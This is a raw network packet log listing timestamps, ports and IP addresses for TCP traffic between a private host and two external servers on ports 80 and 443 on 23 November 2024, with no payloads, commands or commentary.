Nov 23, 2024 19:52:55.262510061 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.263024092 CET	49891	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.263046980 CET	443	49891	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.263169050 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.263231039 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.263262033 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.263569117 CET	49891	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.263572931 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.263576031 CET	443	49891	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.264060020 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.264167070 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.264484882 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.264971972 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.265067101 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.265105009 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.265790939 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.265866995 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.265971899 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.265994072 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.266067028 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.266874075 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.266964912 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.267030954 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.267231941 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.267761946 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.267844915 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.267879009 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.268682957 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.268696070 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.269129038 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.318124056 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.318242073 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.318310976 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.318386078 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.318661928 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.318702936 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.318738937 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.319556952 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.319660902 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.319701910 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.319797993 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.320429087 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.320713997 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.320815086 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.320862055 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.321635008 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.321687937 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.321690083 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.321738005 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.322196007 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.334050894 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.334076881 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.334259033 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.334275007 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.334477901 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.370507956 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.370537996 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.370604992 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.370621920 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.370654106 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.370675087 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.376163006 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.376209974 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.376246929 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.376246929 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.376620054 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.376687050 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.376749039 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.376949072 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.377537012 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.377626896 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.377645016 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.377957106 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.378525019 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.378607988 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.378792048 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.378861904 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.378909111 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.379030943 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.379684925 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.379751921 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.379805088 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.379805088 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.380567074 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.380630016 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.380667925 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.380748034 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.381566048 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.381633043 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.381685972 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.381925106 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.382385969 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.382492065 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.382550955 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.383282900 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.383331060 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.383404970 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.383480072 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.384203911 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.384263992 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.384301901 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.384516001 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.385113001 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.385174990 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.385210991 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.385314941 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.386008024 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.386106014 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.386133909 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.386324883 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.387202978 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.387250900 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.387335062 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.387348890 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.388320923 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.388345003 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.388484955 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.388485909 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.388802052 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.388911009 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.389081001 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.389733076 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.389807940 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.389863968 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.390012026 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.390613079 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.390714884 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.390752077 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.390752077 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.391680002 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.391740084 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.391751051 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.391781092 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.392450094 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.392551899 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.392570972 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.392632008 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.393326044 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.393393993 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.393515110 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.393573046 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.394236088 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.394284964 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.394304991 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.394340038 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.395272970 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.395308971 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.395333052 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.395343065 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.396183968 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.396204948 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.396245956 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.396245956 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.396995068 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.397049904 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.397087097 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.397135973 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.397910118 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.398004055 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.406552076 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.406579971 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.406631947 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.406640053 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.406670094 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.406696081 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.440779924 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.440809965 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.440910101 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.440923929 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.440965891 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.448122025 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.448162079 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.448199987 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.448240042 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.448565006 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.448666096 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.448702097 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.448748112 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.449485064 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.449561119 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.449608088 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.449651003 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.450402021 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.450474024 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.450695992 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.450762033 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.450797081 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.450977087 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.451618910 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.451695919 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.451729059 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.451828003 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.452522993 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.452584982 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.452589989 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.452645063 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.453489065 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.453500986 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.453562021 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.453562021 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.470966101 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.471002102 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.471056938 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.471067905 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.471080065 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.471110106 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.501961946 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.501982927 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.502048969 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.502067089 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.502262115 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.505738974 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.505822897 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.505839109 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.505892992 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.506278992 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.506398916 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.506419897 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.506464005 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.507066965 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.507160902 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.507409096 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.507452011 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.507469893 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.507574081 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.508256912 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.508312941 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.509077072 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.509119987 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.509177923 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.509212017 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.509495020 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.509562016 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.509567022 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.509607077 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.510185957 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.510248899 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.510272980 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.510294914 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.511069059 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.511106014 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.511188030 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.512012005 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.512053967 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.512077093 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.512121916 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.512887001 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.512981892 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.513008118 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.513164043 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.513741970 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.513791084 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.513809919 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.513829947 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.514646053 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.514766932 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.514787912 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.514805079 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.515583038 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.515659094 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.515728951 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.515836954 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.516500950 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.516546011 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.516575098 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.516617060 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.517488956 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.517543077 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.517575026 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.517612934 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.518414021 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.518527031 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.518546104 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.518585920 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.519262075 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.519332886 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.519362926 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.519484997 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.520131111 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.520229101 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.520250082 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.520360947 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.521070004 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.521155119 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.521172047 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.521262884 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.521974087 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.521985054 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.522015095 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.522049904 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.522866011 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.522965908 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.522994041 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.523035049 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.523868084 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.523879051 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.523938894 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.524735928 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.524849892 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.524883032 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.524915934 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.525000095 CET	443	49887	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.525068998 CET	443	49887	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.525132895 CET	49887	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.526979923 CET	49887	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.526994944 CET	443	49887	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.528865099 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.528887987 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.528949022 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.528956890 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.528985023 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.529000998 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.533515930 CET	49892	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.533566952 CET	443	49892	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.533782959 CET	49892	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.534353971 CET	49892	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.534373045 CET	443	49892	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.573591948 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.573628902 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.573690891 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.573712111 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.573728085 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.573795080 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.577502012 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.577550888 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.577588081 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.577588081 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.577847004 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.577919960 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.577927113 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.578135014 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.578834057 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.578901052 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.579173088 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.579236031 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.579255104 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.579293013 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.579962015 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.580054045 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.580073118 CET	80	49831	185.215.113.206	192.168.2.6
